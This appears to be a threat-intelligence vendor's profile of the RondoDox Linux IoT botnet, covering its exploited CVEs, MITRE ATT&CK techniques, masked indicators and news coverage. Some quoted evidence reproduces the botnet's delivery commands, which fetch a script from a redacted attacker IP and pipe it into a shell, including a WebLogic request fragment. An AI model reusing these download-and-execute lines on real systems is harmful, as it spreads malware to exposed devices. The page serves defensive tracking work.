MalwareUsed by 1 actorExploits 49 CVEs

RondoDox

RondoDox is a Linux-focused IoT botnet and Mirai-derived malware family first observed in 2025. It is primarily associated with large-scale distributed denial-of-service operations, while later reporting also documented the deployment of XMRig cryptocurrency-mining payloads on compromised systems. The botnet targets internet-exposed Linux devices, especially IoT equipment, routers, network appliances, DVRs, cameras, and web-facing servers, and has also been observed probing enterprise-facing software and AI-related services.

RondoDox is notable for its unusually broad exploit arsenal. Researchers associated it with mass exploitation of well over one hundred vulnerabilities, including both long-known embedded-device flaws and newly disclosed remote code execution issues. Activity attributed to the botnet shows rapid weaponization of public proof-of-concept exploits and opportunistic scanning of exposed services at scale, with daily exploitation attempts reaching very high volumes. Campaign reporting indicates a shift over time from broad shotgun exploitation toward narrower use of newer or higher-value vulnerabilities.

Infection commonly begins with exploitation of a remote code execution or command-injection flaw that launches a shell command to retrieve and execute a first-stage script. That script is designed to be file-light, suppress output, identify a writable directory, remove competing malware, and fetch an architecture-appropriate payload. RondoDox supports numerous CPU architectures used across embedded Linux ecosystems. The malware incorporates anti-analysis and sanity checks, connects infected devices to command-and-control infrastructure, and establishes persistence on compromised hosts. Observed behavior also includes removal of rival infections and defensive controls, indicating competition for device access among botnet operators.

RondoDox has been described as a Mirai variant or Mirai-like botnet, but some reporting distinguishes it from classic Mirai by emphasizing its operational focus on denial-of-service activity rather than broader multifunction bot behavior. Separate observations also tie it to brute-force use of default passwords on exposed devices, especially in IoT environments. Infrastructure analysis has linked parts of its hosting and exploitation ecosystem to compromised residential systems and to infrastructure hosted in multiple countries, including Iranian-hosted infrastructure in some reporting. The botnet has been observed targeting sectors including government, finance, and industry when exploiting exposed enterprise systems, but its core victimology remains heavily concentrated on poorly secured Linux-based edge and IoT devices.

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

EXPLOITED CVES

Vulnerabilities exploited

49 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

49 CVES

CVE-2025-62593Ray Dashboard DNS Rebinding Code Injection RCEExploited in the wild

CVE-2025-62593 is a critical remote code execution vulnerability in Ray, a distributed computing framework widely used for Python and machine-learning workloads. The attack combines DNS rebinding with a flawed User-Agent-based browser check.

via resecurity blogresecurity.com

CVE-2017-17215Command Injection RCE in Huawei HG532 DeviceUpgrade

Breadcrumbs threat_research / rondodox / cve_poc_table.md ... Latest commit ... RondoDox IoCs ... numerous CVE PoC entries fetch and execute payloads such as 'wget -qO- http://<REDACTED_IP>/rondo.sh|sh' and binaries like './rondo huawei.mips'.

via github webgithub.com

CVE-2016-20017Unauthenticated Command Injection in D-Link DSL-2750B

via github webgithub.com

CVE-2017-18369Unauthenticated Command Injection in Billion 5200W-T Remote System Log

via github webgithub.com

CVE-2014-6271Shellshock GNU Bash Environment Variable Command Injection

via github webgithub.com

CVE-2023-1389Unauthenticated Root Command Injection in TP-Link Archer AX21

via github webgithub.com

CVE-2024-53944Root Command Injection in Tuoshi/Dionlink LT15D and LT21B 4G Wi-Fi Devices

via github webgithub.com

CVE-2022-36267Unauthenticated Remote Command Injection in Airspan AirSpot 5410 Diagnostics

via github webgithub.com

CVE-2023-34960Command Injection in Chamilo wsConvertPpt

via github webgithub.com

CVE-2020-16846Shell Injection in Salt API netapi SSH Client

via github webgithub.com

CVE-2002-1951Remote Code Execution in GoAhead WebServer 2.1 via HTTP GET Buffer Overflow

via github webgithub.com

CVE-2018-10562Command Injection in Dasan GPON Router Diagnostic Ping Handler

via github webgithub.com

CVE-2017-9841PHPUnit eval-stdin.php Remote Code Execution

via github webgithub.com

CVE-2023-26802RCE in DCN DCBI-Netlog-LAB nsg_masq.cgi

via github webgithub.com

CVE-2023-7311Command Injection in BYTEVALUE Intelligent Flow Control Router /goform/webRead/open

via github webgithub.com

CVE-2013-7471D-Link DIR-Series WANIPConn1 SOAP Command Injection

via github webgithub.com

CVE-2021-28151OS Command Injection in Hongdian H8922 tools.cgi ping command

via github webgithub.com

CVE-2019-9082ThinkPHP Remote Command Execution via invokefunction

via github webgithub.com

CVE-2018-25126Unauthenticated OS Command Injection in TVT NVMS-9000 firmware

via github webgithub.com

CVE-2025-7673Buffer Overflow in Zyxel VMG8825-T50K zhttpd URL Parser

via github webgithub.com

CVE-2024-14007Authentication Bypass in TVT NVMS-9000 Control Protocol

via github webgithub.com

CVE-2017-18368Unauthenticated Command Injection in ZyXEL P660HN-T1A Remote System Log

via github webgithub.com

CVE-2014-8361Remote Code Execution in Realtek SDK miniigd SOAP Service

via github webgithub.com

CVE-2020-28188TerraMaster TOS makecvs.php Event Parameter Command Injection

via github webgithub.com

CVE-2021-1498Unauthenticated Command Injection in Cisco HyperFlex HX Web Management Interface

via github webgithub.com

CVE-2024-7120Raisecom Gateway Devices Base Configuration OS Command Injection

via github webgithub.com

CVE-2025-34037Unauthenticated OS Command Injection in Linksys E-Series Routers

via github webgithub.com

CVE-2021-27561Unauthenticated Root Command Injection in Yealink Device Management

via github webgithub.com

CVE-2014-2321Administrative Access Bypass in ZTE F460/F660 web_shell_cmd.gch

via github webgithub.com

CVE-2019-12780Unauthenticated Command Injection in Belkin Wemo Enabled Crock-Pot UPnP API

via github webgithub.com

CVE-2025-9528OS Command Injection in Linksys E1700 systemCommand

via github webgithub.com

CVE-2022-24112RCE via IP Restriction Bypass in Apache APISIX batch-requests Plugin

via github webgithub.com

CVE-2022-34538Command Injection in Digital Watchdog DW MEGApix IP Cameras

via github webgithub.com

CVE-2019-25024Unauthenticated Command Injection in OpenRepeater pre-2.2

via github webgithub.com

CVE-2018-7600Drupalgeddon2

via github webgithub.com

CVE-2024-4582OS Command Injection in Faraday GM8181/GM828x NTP Service

via github webgithub.com

CVE-2025-24893Unauthenticated RCE in XWiki SolrSearch

via github webgithub.com

CVE-2022-22963Spring Cloud Function SpEL Routing Expression RCE

via github webgithub.com

CVE-2021-22502Remote Code Execution in Micro Focus Operation Bridge Reporter 10.40

via github webgithub.com

CVE-2025-32756Unauthenticated remote code execution in Fortinet HTTP interfaces

via github webgithub.com

CVE-2018-7841Unauthenticated OS Command Injection in Schneider Electric U.Motion Builder

via github webgithub.com

CVE-2024-3721Unauthenticated OS Command Injection in TBK DVR-4104 and DVR-4216

via github webgithub.com

CVE-2020-18568Command Injection in D-Link DSR-250/DSR-1000N UPnP Service

via github webgithub.com

CVE-2024-12847NETGEAR DGN1000 Root Command Injection

via github webgithub.com

CVE-2019-15107Webmin password_change.cgi Command Injection RCE

via github webgithub.com

CVE-2020-8515Unauthenticated Root Command Injection in DrayTek Vigor Routers

via github webgithub.com

CVE-2025-7769Command Injection in Tigo Energy CCA /cgi-bin/mobile_api DEVICE_PING

via github webgithub.com

CVE-2025-34051Unauthenticated SSRF in AVTECH DVR Search.cgi

via github webgithub.com

CVE-2025-48827Unauthenticated Protected API Method Invocation in vBulletin on PHP 8.1+

via github webgithub.com

THREAT ACTORS

Groups observed using it

1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

RondoDox

"Most of November’s volume tracked to a single cluster we associate with RondoDox distribution. 76% of attempts (737 out of 969) matched the same delivery pattern... with payloads that fetch and execute a first-stage script... ( wget -qO- http://74.###.###.52/rondo.ame.sh ... ) | sh"

via f5f5.com

MITRE ATT&CK

Techniques & procedures

20 distinct techniques documented for this family, organized by ATT&CK tactic.

Reconnaissance

1 technique

T1595Active ScanningEvidence4

RondoDox relies on a multi-stage attack chain built around mass exploitation... Its scans for exposed devices, attempting to exploit one of possibly dozens of embedded CVEs at once

Resource Development

1 technique

T1584.005BotnetEvidence1

Threat actors may also seek to take persistent control of IoT devices to form botnets. An IoT botnet is a network of compromised IoT devices that attackers remotely manipulate to launch large-scale cyber attacks.

Initial Access

1 technique

T1190Exploit Public-Facing ApplicationEvidence7

The content is a large CVE PoC table showing repeated HTTP/SOAP/XML requests exploiting internet-exposed services and devices, e.g. "CVE-2017-10271 POST /wls-wsat/CoordinatorPortType ... <string>(wget -qO- http://<REDACTED_IP>/rondo.xcw.sh||busybox wget -qO- http://<REDACTED_IP>/rondo.xcw.sh||curl -s http://<REDACTED_IP>/rondo.xcw.sh)|sh</string>" and many similar requests across routers, DVRs, web apps, and middleware.

Execution

4 techniques

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

T1059Command and Scripting InterpreterEvidence4

Many payloads invoke shell execution, e.g. "|sh", "/bin/bash -c \"wget -qO- http://<REDACTED_IP>/rondo.bash.sh|sh&\"", "require('child_process').exec(...)", and "java.lang.Runtime.getRuntime().exec(...)".

T1059.004Unix ShellEvidence2

Examples include "(wget -qO- http://<REDACTED_IP>/rondo.xcw.sh||busybox wget -qO- http://<REDACTED_IP>/rondo.xcw.sh||curl -s http://<REDACTED_IP>/rondo.xcw.sh)|sh" and "/bin/sh -c" / "/bin/bash -c" command strings throughout the table.

T1203Exploitation for Client ExecutionEvidence7

Cette vulnérabilité permet une exécution de code à distance (RCE) et est exploitée à grande échelle par le botnet RondoDox

Persistence

1 technique

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

Privilege Escalation

1 technique

T1053.003CronEvidence1

At this point it will also set up its own persistence and drop and launch the XMRig miner

Stealth

7 techniques

T1027Obfuscated Files or InformationEvidence1

"RondoDox malware encodes its configuration data using a simple XOR obfuscation algorithm... decrypted using the hexadecimal key 0x21"

T1036MasqueradingEvidence1

The table shows varied User-Agent strings and email-like identifiers such as "Mozilla/5.0 (bang2012@tutanota.de)", "Mozilla/5.0 (bang2012@protonmail.com)", and browser-like Chrome user agents.

T1070Indicator RemovalEvidence1

It then attempts to remove other threats, both by checking specific file locations and by removing entries from the victim's crontabs.

T1218System Binary Proxy ExecutionEvidence1

The payloads repeatedly rely on native utilities such as "wget", "busybox wget", "curl", and shell interpreters already present on the target device.

T1497Virtualization/Sandbox EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

T1620Reflective Code LoadingEvidence1

The payloads we’ve observed always prevent the initial implant to be written to disk, piping the output of one command into another.

T1622Debugger EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

Discovery

2 techniques

T1497Virtualization/Sandbox EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

T1622Debugger EvasionEvidence1

Upon being launched, the main binary does some basic sanity checks for its name and arguments, as well as checks for anti-debug and anti-analysis.

Command and Control

3 techniques

T1071Application Layer ProtocolEvidence5

This isn’t hypothetical — it’s the entire history of IoT botnets, from Mirai in 2016 through the Aisuru and RondoDox campaigns still running in 2025–2026, which scan the internet for devices with default passwords and enroll them automatically.

T1090.002External ProxyEvidence1

Likely usage of compromised residential IPs as hosting infrastructure

T1105Ingress Tool TransferEvidence4

Repeated command strings download payloads from attacker infrastructure, e.g. "wget -qO- http://<REDACTED_IP>/rondo.rwx.sh|sh", "curl -s http://<REDACTED_IP>/rondo.whm.sh|sh", and "wget -O rondo http://<REDACTED_IP>/rondo.mips;chmod 777 rondo;./rondo netgear.mips;echo".

Impact

3 techniques

T1496Resource HijackingEvidence3

utilisés pour mener des attaques par déni de service distribué (DDoS), des opérations de minage de cryptomonnaies

T1498Network Denial of ServiceEvidence3

afin de constituer de vastes réseaux de bots utilisés pour mener des attaques par déni de service distribué (DDoS)

T1499Endpoint Denial of ServiceEvidence1

"Unlike Mirai, this malware’s sole purpose is to execute DoS attacks..."

INDICATORS OF COMPROMISE

IOCs tracked for this family

186 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

137 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

38 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

11 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

ip.v4●●●●●●●●●●●●View more in app3 months ago

domain●●●●●●●●●●●●View more in app3 months ago

email●●●●●●●●●●●●View more in app3 months ago

domain●●●●●●●●●●●●View more in app3 months ago

ip.v4●●●●●●●●●●●●View more in app3 months ago

ACTIVITY FEED

Recent activity

78 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

78 SOURCESView more in app

the hacker newsNews

Aug 18, 2026

CISA Flags Actively Exploited Ray Flaw That Can Trigger Browser-Based RCE

A DDoS botnet whose operators were reported to have added exploitation of CVE-2025-62593 to their toolkit before public disclosure.

handlers diary fullNews

Jun 25, 2026

What do Ports Hear When Nobody's Listening? An Assessment of Automated Cybercrime [Guest Diary]

A sophisticated botnet observed targeting both enterprise and consumer systems, using staged infrastructure shifts, fileless payloads, broad header-based exploit delivery, and compromised residential routers for scanning and propagation.

osint team blogNews

Jun 22, 2026

When Every Lamppost Can Think: The Security Problem the Octopus Model Ignores | by Berend Watchus | Jun, 2026 | OSINT Team

IoT botnet campaign active in 2025–2026 that scans the internet for devices with default passwords and enrolls them automatically.

scworldNews

May 26, 2026

RondoDox botnet exploits old ASUS router vulnerability | brief | SC Media

A botnet that exploits vulnerabilities in internet-facing devices, particularly Linux-based systems and older ASUS routers, to conduct denial-of-service attacks.

+72 more in the timeline

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching186

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution1

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities49

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping20

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

RondoDox